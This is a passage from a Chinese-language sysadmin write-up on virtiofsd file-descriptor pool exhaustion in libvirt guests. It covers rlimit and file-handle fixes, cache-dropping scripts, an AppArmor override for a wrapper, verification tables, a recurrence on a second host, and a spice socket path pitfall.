&lt;tr&gt;&lt;td&gt;&lt;code&gt;file-max = INT64_MAX&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;无碍&lt;&#x2F;strong&gt;（曾误判为根因，见文末）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;file-nr&lt;&#x2F;code&gt; 第 2 列 = 0&lt;&#x2F;td&gt;&lt;td&gt;无意义（现代内核恒为 0）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;virtiofsd RSS 数十 GB&lt;&#x2F;td&gt;&lt;td&gt;正常（guest RAM 映射），非泄漏&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;xiu-fu-fang-an&quot;&gt;修复方案&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-kuo-da-guest-fd-chi-zhi-ben&quot;&gt;1. 扩大 guest fd 池（治本）&lt;&#x2F;h3&gt;
&lt;p&gt;virtiofsd 由 libvirtd 派生，继承其 soft rlimit。把 libvirtd 的系统服务限额调大即可
（virtiofsd 启动时若继承的软限 ≥ 1M 会直接沿用，见 &lt;code&gt;limits.rs:60-63&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl edit libvirtd
# [Service]
# LimitNOFILE=4194304
sudo systemctl restart libvirtd   # 会断开所有 VM 的 virtiofs，需重启域
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;池子变成 ≈ 4,194,304 - 610。&lt;strong&gt;注意与宿主 &lt;code&gt;file-max&lt;&#x2F;code&gt; 配平&lt;&#x2F;strong&gt;：
若 &lt;code&gt;file-max&lt;&#x2F;code&gt; 设为真实值，必须 &lt;code&gt;file-max ≥ 池子上限 + 余量&lt;&#x2F;code&gt;（如 file-max=8M &#x2F; 池子=4M），
否则宿主内核会变成更矮的墙（届时 dmesg 会真的出现 VFS 警告）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;宿主内存成本&lt;&#x2F;strong&gt;（只有池子实际用满时才发生，设上限本身零成本）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;资源&lt;&#x2F;th&gt;&lt;th&gt;4M 全占用量&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;内核 slab（struct file，本机实测 192B&#x2F;个）&lt;&#x2F;td&gt;&lt;td&gt;≈ 768 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;virtiofsd 进程 fd 表（8B&#x2F;项）&lt;&#x2F;td&gt;&lt;td&gt;≈ 32 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;2-gen-ben-jiang-hao-gai-yong-file-handle-dai-ti-o-path-fd-tui-jian&quot;&gt;2. 根本降耗：改用 file handle 代替 O_PATH fd（推荐）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# virtiofsd 1.13+ 支持 --inode-file-handles=prefer
# 用 name_to_handle_at &amp;#x2F; open_by_handle_at 引用 inode，句柄不再消耗 fd
&amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;virtiofsd --inode-file-handles=prefer --shared-dir &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project ...
# 要求宿主文件系统支持 file handle（ext4 支持；virtiofsd 以 root 运行，具备所需能力）
# 注意: 当前 libvirt 的 &amp;lt;binary&amp;gt; XML 元素可能不暴露该参数，需验证或走 hook
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-vm-nei-jia-su-ju-bing-shi-fang-zhi-biao&quot;&gt;3. VM 内加速句柄释放（治标）&lt;&#x2F;h3&gt;
&lt;p&gt;句柄在 guest dcache 驱逐 inode（FUSE_FORGET）时才释放，而 &lt;strong&gt;dcache 驱逐只由内存压力
驱动、没有时间老化&lt;&#x2F;strong&gt;——guest 内存充足时（本机实测 26GB 内存、空闲 12GB），扫描留下的
近百万 dentry 会永久驻留，FUSE_FORGET 一个都不发，故障&quot;持续不恢复&quot;是符合设计的必然。&lt;&#x2F;p&gt;
&lt;p&gt;所以真正有效的主动手段是定时 &lt;code&gt;drop_caches&lt;&#x2F;code&gt;；&lt;code&gt;vfs_cache_pressure&lt;&#x2F;code&gt; 只是回收发生时的
权重系数，&lt;strong&gt;没有内存压力时它什么都不做&lt;&#x2F;strong&gt;，仅作可选加速：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 故障中立即恢复（主动杠杆，几秒内恢复）
sudo sh -c &amp;#x27;echo 3 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;vm&amp;#x2F;drop_caches&amp;#x27;

# 长期: 定时执行 drop_caches，把故障窗口压到 ≤ 定时周期
cat &amp;gt; &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;manage_virtiofs_cache.sh &amp;lt;&amp;lt; &amp;#x27;EOF&amp;#x27;
#!&amp;#x2F;bin&amp;#x2F;bash
CACHED_MB=$(free -m | awk &amp;#x27;&amp;#x2F;^Mem:&amp;#x2F; {print $6}&amp;#x27;)
if [ $CACHED_MB -gt 4096 ]; then
    sync
    echo 3 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;vm&amp;#x2F;drop_caches
fi
EOF
chmod +x &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;manage_virtiofs_cache.sh
# crontab: *&amp;#x2F;30 * * * * &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;manage_virtiofs_cache.sh

# 可选加速（非必须）: 让碰巧发生的自然回收优先清 dentry 而非 page cache
echo 1000 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;vm&amp;#x2F;vfs_cache_pressure
echo 1000 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;vm&amp;#x2F;dirty_writeback_centisecs

# 持久化
cat &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf &amp;lt;&amp;lt; EOF
vm.vfs_cache_pressure=1000
vm.dirty_writeback_centisecs=1000
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：&lt;code&gt;vfs_cache_pressure&lt;&#x2F;code&gt; 不是定时器，没有内存压力时它不会触发任何回收，
单独设置它无法解决句柄滞留；真正起作用的是定时 &lt;code&gt;drop_caches&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;4-bi-mian-da-fan-wei-di-gui-sao-miao-virtiofs-gua-zai&quot;&gt;4. 避免大范围递归扫描 virtiofs 挂载&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;find&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;grep -rl&lt;&#x2F;code&gt; 大范围扫描会快速耗尽池子（每个 touched inode 都占一个槽）&lt;&#x2F;li&gt;
&lt;li&gt;大扫描尽量在宿主侧直接执行，或限制范围（&lt;code&gt;-prune&lt;&#x2F;code&gt; 掉 &lt;code&gt;target&#x2F;debug&lt;&#x2F;code&gt;、&lt;code&gt;node_modules&lt;&#x2F;code&gt; 等）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;5-ying-ji-hui-fu&quot;&gt;5. 应急恢复&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# guest 内立即 drop_caches（最快，几秒内恢复）
sudo sh -c &amp;#x27;echo 3 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;vm&amp;#x2F;drop_caches&amp;#x27;

# 或重启 virtiofsd &amp;#x2F; 重启 VM（挂载会短暂断开）
# 注意: kill -HUP 对 Rust 版 virtiofsd 不一定有效，可靠做法是重启域
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2026-08-13-shi-shi-yu-yan-zheng-ji-lu&quot;&gt;2026-08-13 实施与验证记录&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;前面的「修复方案」只是建议；本节记录 2026-08-13 实际落地方式、踩到的坑与压测结果。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;shi-ji-fang-an-a-kuo-chi-b-file-handle-shuang-bao-xian&quot;&gt;实际方案（A 扩池 + B file handle 双保险）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;A. 用 &lt;code&gt;&amp;lt;openfiles max&amp;gt;&lt;&#x2F;code&gt; 扩池&lt;&#x2F;strong&gt;——libvirt 11.3 原生支持，比上文改 &lt;code&gt;libvirtd LimitNOFILE&lt;&#x2F;code&gt; 更精准（只影响本域）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- debian13.xml 的 &amp;lt;filesystem&amp;gt; 段 --&amp;gt;
&amp;lt;binary path=&amp;#x27;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles&amp;#x27; xattr=&amp;#x27;on&amp;#x27;&amp;gt;
  &amp;lt;openfiles max=&amp;#x27;4194304&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;binary&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;openfiles max=&#x27;N&#x27;&#x2F;&amp;gt;&lt;&#x2F;code&gt; 被 libvirt 映射为 &lt;code&gt;--rlimit-nofile=N&lt;&#x2F;code&gt;（&lt;code&gt;libvirt_driver_qemu.so&lt;&#x2F;code&gt; 里有 &lt;code&gt;--rlimit-nofile=%llu&lt;&#x2F;code&gt;）。池上限从 999,390 提到 ≈ 4,193,694，作兜底。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;B. &lt;code&gt;--inode-file-handles=prefer&lt;&#x2F;code&gt; 经 wrapper 传入&lt;&#x2F;strong&gt;——libvirt 的 &lt;code&gt;&amp;lt;binary&amp;gt;&lt;&#x2F;code&gt; 没有 &lt;code&gt;inode-file-handles&lt;&#x2F;code&gt; 元素（schema 查无），只能包一层：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles（root:root 0755）
#!&amp;#x2F;bin&amp;#x2F;bash
exec &amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;virtiofsd --inode-file-handles=prefer &amp;quot;$@&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;keng-libvirtd-de-apparmor-profile-ju-jue-zhi-xing-wrapper&quot;&gt;坑：libvirtd 的 AppArmor profile 拒绝执行 wrapper&lt;&#x2F;h3&gt;
&lt;p&gt;第一次 &lt;code&gt;virsh start&lt;&#x2F;code&gt; 直接失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;error: 内部错误：子进程（&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles --print-capabilities）意外 退出状态 126: ... 无法执行二进制文件 ...: 权限不够
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;dmesg 定位到 &lt;code&gt;apparmor=&quot;DENIED&quot; operation=&quot;exec&quot; profile=&quot;libvirtd&quot; name=&quot;&#x2F;usr&#x2F;local&#x2F;libexec&#x2F;virtiofsd-inode-handles&quot;&lt;&#x2F;code&gt;。
libvirtd 的 profile 默认只白名单 &lt;code&gt;&#x2F;usr&#x2F;{lib,lib64,lib&#x2F;qemu,libexec}&#x2F;virtiofsd PUx&lt;&#x2F;code&gt;，新路径被拒。&lt;&#x2F;p&gt;
&lt;p&gt;解法写在 site 级 override（随 libvirtd 升级不丢）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo &amp;#x27;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles PUx,&amp;#x27; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;local&amp;#x2F;usr.sbin.libvirtd
apparmor_parser -r &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;usr.sbin.libvirtd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yan-zheng-jie-guo-quan-shu-find-ya-ce-dui-bi&quot;&gt;验证结果（全树 &lt;code&gt;find&lt;&#x2F;code&gt; 压测对比）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;指标&lt;&#x2F;th&gt;&lt;th&gt;修复前&lt;&#x2F;th&gt;&lt;th&gt;修复后&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;virtiofsd worker fd&lt;&#x2F;td&gt;&lt;td&gt;999,410（池满→ENFILE）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;22&lt;&#x2F;strong&gt;（几乎不涨）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;宿主 &lt;code&gt;file-nr&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1,023,072&lt;&#x2F;td&gt;&lt;td&gt;~24,200（持平）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;guest &lt;code&gt;find&lt;&#x2F;code&gt; 全树&lt;&#x2F;td&gt;&lt;td&gt;报 ENFILE&lt;&#x2F;td&gt;&lt;td&gt;正常（agent-code 152,380 文件）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;wei-shen-me-file-handle-neng-xiao-chu-fd-zhan-yong&quot;&gt;为什么 file handle 能消除 fd 占用&lt;&#x2F;h3&gt;
&lt;p&gt;默认 &lt;code&gt;never&lt;&#x2F;code&gt; 模式，virtiofsd 用 &lt;strong&gt;O_PATH fd&lt;&#x2F;strong&gt; 去「记住」guest 触碰过的每个 inode：O_PATH fd 虽不读内容，但照样占 fd 表一个槽位、计入 &lt;code&gt;rlimit_nofile&lt;&#x2F;code&gt;（默认 1M）。扫 N 个文件就占 N 个 fd，池子被吃光。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;prefer&lt;&#x2F;code&gt; 模式改用内核 file handle 接口：&lt;code&gt;name_to_handle_at&lt;&#x2F;code&gt; 给 inode 生成「文件句柄」（一段内存字节，含 inode 号+代次+文件系统 id），需要时 &lt;code&gt;open_by_handle_at&lt;&#x2F;code&gt; 转回临时 fd。句柄只占内存、不占 fd 槽——「记住一百万 inode」从消耗 fd 变成消耗内存，fd 池不再是瓶颈。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wei-shen-me-mo-ren-bu-kai-qi-file-handle-de-que-dian&quot;&gt;为什么默认不开启（file handle 的缺点）&lt;&#x2F;h3&gt;
&lt;p&gt;既然省 fd，virtiofsd 为何默认 &lt;code&gt;never&lt;&#x2F;code&gt; 而不是 &lt;code&gt;prefer&lt;&#x2F;code&gt;？几个正确性&#x2F;可移植性代价：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;句柄不 pin 住 inode&lt;&#x2F;strong&gt;（最大的坑）：O_PATH fd 持有 inode 引用，文件被 unlink 后 fd 仍有效、inode 延迟回收；file handle 只是一段「inode 号+代次+文件系统 id」字节、不持引用，文件删除后 &lt;code&gt;open_by_handle_at&lt;&#x2F;code&gt; 可能返回 &lt;code&gt;ESTALE&lt;&#x2F;code&gt;，且 inode 号+代次理论上可复用。所以 &lt;code&gt;prefer&lt;&#x2F;code&gt; 对删不掉&#x2F;无句柄的文件仍要回退 O_PATH fd。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;open_by_handle_at&lt;&#x2F;code&gt; 需要 &lt;code&gt;CAP_DAC_READ_SEARCH&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：按 inode 直接打开、绕过路径权限检查，是特权操作；virtiofsd 以 root 跑才有此能力，若未来降权&#x2F;沙箱即失效。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件系统支持不普遍&lt;&#x2F;strong&gt;：不少文件系统不支持 file handle（&lt;code&gt;name_to_handle_at&lt;&#x2F;code&gt; 返回 &lt;code&gt;EOPNOTSUPP&lt;&#x2F;code&gt;），如部分 FUSE&#x2F;网络文件系统、overlayfs 某些场景，默认开启会直接坏掉。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;两套路径都要维护&lt;&#x2F;strong&gt;：&lt;code&gt;prefer&lt;&#x2F;code&gt; 是「能用就用、不能则回退」，O_PATH fd 逻辑一点不能删，复杂度不减反增。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;迁移&#x2F;快照序列化更难&lt;&#x2F;strong&gt;：句柄是 opaque 数字、跨主机（不同文件系统实例）无效，需额外重建路径（上文日志里的 &lt;code&gt;preserialization::proc_paths&lt;&#x2F;code&gt; 告警即此类）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;一句话：O_PATH fd = 简单、永远正确、费 fd 槽；file handle = 省 fd、但有删除&#x2F;复用&#x2F;可移植性边角。所以 &lt;code&gt;never&lt;&#x2F;code&gt; 是保守默认，&lt;code&gt;prefer&lt;&#x2F;code&gt; 留给确定支持的场景显式开启——本机（共享目录固定在 ext4、virtiofsd 以 root 跑）恰好覆盖了这些边角。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hong-fa-yuan-geng-zheng&quot;&gt;触发源更正&lt;&#x2F;h3&gt;
&lt;p&gt;实测复现的触发是 &lt;code&gt;du -sh *&#x2F;&lt;&#x2F;code&gt; 这类对挂载树的递归遍历。此前怀疑的两者其实都&lt;strong&gt;不是&lt;&#x2F;strong&gt;主要触发源：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ncdu -x &#x2F;home&#x2F;peter&#x2F;&lt;&#x2F;code&gt;：&lt;code&gt;-x&lt;&#x2F;code&gt; 不跨文件系统，根本没进 virtiofs 挂载；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;localsearch-3&lt;&#x2F;code&gt;（GNOME tracker 文件索引器，tracker-miners 更名）：默认 &lt;code&gt;index-single-directories=$HOME&lt;&#x2F;code&gt; 只索引单层不递归，实测仅 88 个文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2026-09-18-fu-fa-xiu-fu-shi-mei-tai-su-zhu-ji-mei-ge-yu-ge-yi-fen&quot;&gt;2026-09-18 复发：修复是「每台宿主机 + 每个域」各一份&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;同一现象在 peter.xiao.com 的 VM（ubuntu.code）上复发，排查结论：
&lt;strong&gt;2026-08-13 的修复只落在 192.168.7.99（debian13 域所在宿主）上，本机从未打过补丁&lt;&#x2F;strong&gt;。
virtiofs 修复不会跨机器&#x2F;跨域生效——wrapper 与 AppArmor 是宿主级，&lt;code&gt;&amp;lt;binary&amp;gt;&lt;&#x2F;code&gt; 与 &lt;code&gt;&amp;lt;openfiles&amp;gt;&lt;&#x2F;code&gt; 是域级。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;xian-chang-yu-pan-ding&quot;&gt;现场与判定&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;VM 内 &lt;code&gt;git status&lt;&#x2F;code&gt; 报 &lt;code&gt;warning: 不能访问 &#x27;~&#x2F;.my_gitconfig&#x27;: 系统中打开的文件过多&lt;&#x2F;code&gt;，随后 &lt;code&gt;fatal: 文件 &#x2F;home&#x2F;peter&#x2F;.gitconfig 中错误的配置行 9&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;该行号是 git 的误导性报错：include 文件打不开时，git 会把外层 &lt;code&gt;.gitconfig&lt;&#x2F;code&gt; 里 &lt;code&gt;path =&lt;&#x2F;code&gt; 所在行报成 bad config line（用「目录当 include 目标」本地复现确认）。文件本身没坏，第 9 行正是 &lt;code&gt;path = ~&#x2F;.my_gitconfig&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;判定同本文首节：宿主 virtiofsd worker fd = &lt;strong&gt;999,411&lt;&#x2F;strong&gt;（默认池 999,390，池满）；宿主 &lt;code&gt;file-nr = 1,026,010&lt;&#x2F;code&gt;；&lt;code&gt;dmesg&lt;&#x2F;code&gt; 无 &lt;code&gt;VFS: file-max limit reached&lt;&#x2F;code&gt;（排除宿主 file-max 墙）。&lt;&#x2F;li&gt;
&lt;li&gt;三项修复全都不在：wrapper 文件不存在；&lt;code&gt;&#x2F;etc&#x2F;apparmor.d&#x2F;local&#x2F;usr.sbin.libvirtd&lt;&#x2F;code&gt; 为空（mtime 2025-10）；域 XML 是默认 &lt;code&gt;&amp;lt;binary path=&#x27;&#x2F;usr&#x2F;libexec&#x2F;virtiofsd&#x27;&#x2F;&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;bu-da-xiu-fu-tong-2026-08-13-fang-an&quot;&gt;补打修复（同 2026-08-13 方案）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1) wrapper（宿主级，root:root 0755）
cat &amp;gt; &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles &amp;lt;&amp;lt; &amp;#x27;EOF&amp;#x27;
#!&amp;#x2F;bin&amp;#x2F;bash
exec &amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;virtiofsd --inode-file-handles=prefer &amp;quot;$@&amp;quot;
EOF
chmod 0755 &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles

# 2) AppArmor local override（宿主级）
echo &amp;#x27;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles PUx,&amp;#x27; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;local&amp;#x2F;usr.sbin.libvirtd
apparmor_parser -r &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;usr.sbin.libvirtd

# 3) 域 XML（域级；改完 dumpxml --inactive 检查再 define，或直接用 virsh edit）
#    &amp;lt;binary path=&amp;#x27;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;virtiofsd-inode-handles&amp;#x27; xattr=&amp;#x27;on&amp;#x27;&amp;gt;
#      &amp;lt;openfiles max=&amp;#x27;4194304&amp;#x27;&amp;#x2F;&amp;gt;
#    &amp;lt;&amp;#x2F;binary&amp;gt;
# 4) 重启域才生效（virtiofsd 与 qemu 的连接在域启动时建立）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;指标&lt;&#x2F;th&gt;&lt;th&gt;修复前&lt;&#x2F;th&gt;&lt;th&gt;修复后&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;virtiofsd worker fd&lt;&#x2F;td&gt;&lt;td&gt;999,411（池满）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;22&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;--rlimit-nofile&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;默认（池 999,390）&lt;&#x2F;td&gt;&lt;td&gt;4,194,304&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;宿主 &lt;code&gt;file-nr&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1,026,010&lt;&#x2F;td&gt;&lt;td&gt;~26,000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VM 内全树 &lt;code&gt;find&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;报 ENFILE&lt;&#x2F;td&gt;&lt;td&gt;299,381 文件 0 错误，扫描后 &lt;code&gt;file-nr&lt;&#x2F;code&gt; 几乎不涨&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;xin-keng-yu-xml-li-de-spice-socket-lu-jing-bei-ying-bian-ma-zhong-qi-ji-gua&quot;&gt;新坑：域 XML 里的 spice socket 路径被硬编码，重启即挂&lt;&#x2F;h3&gt;
&lt;p&gt;重启域时启动失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;warning: Spice: ...do_spice_init: Failed to open SPICE sockets
failed to initialize spice server
内部错误：连接监控的过程中进程退出: bind: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根因是图形设备里存了&lt;strong&gt;运行时生成&lt;&#x2F;strong&gt;的 socket 路径：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;listen type=&amp;#x27;socket&amp;#x27; socket=&amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;qemu&amp;#x2F;domain-4-ubuntu.code&amp;#x2F;spice.sock&amp;#x27;&amp;#x2F;&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该路径按「当前域 ID」生成，&lt;code&gt;domain-&amp;lt;id&amp;gt;-&amp;lt;name&amp;gt;&#x2F;&lt;&#x2F;code&gt; 目录每次启动重建；XML 写死上次的 &lt;code&gt;domain-4&lt;&#x2F;code&gt; 后，重启拿到新 ID，旧 ID 的目录不存在 → qemu &lt;code&gt;bind()&lt;&#x2F;code&gt; 报 ENOENT。&lt;&#x2F;p&gt;
&lt;p&gt;修正：删掉 &lt;code&gt;socket&lt;&#x2F;code&gt; 属性即可（schema 里它对 &lt;code&gt;type=&#x27;socket&#x27;&lt;&#x2F;code&gt; 是 optional，libvirt 会按当前域 ID 自动生成）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;listen type=&amp;#x27;socket&amp;#x27;&amp;#x2F;&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;教训&lt;&#x2F;strong&gt;：改运行中域的 XML 用 &lt;code&gt;virsh dumpxml --inactive&lt;&#x2F;code&gt;（或 &lt;code&gt;virsh edit&lt;&#x2F;code&gt;），不要用 &lt;code&gt;dumpxml&lt;&#x2F;code&gt; 的 live 输出 define——live XML 会携带运行时填充的路径等信息，define 后就被写死。本次修复时即用了 live dump（原 XML 此前也被改写过，无法完全归因），踩中此坑。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ceng-jing-de-cuo-wu-jie-lun-bao-liu-bei-cha-wu-zai-fan&quot;&gt;曾经的错误结论（保留备查，勿再犯）&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;以下为 2026-06-13 初版的错误分析。保留它不是为了参考，而是为了记住为什么错。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
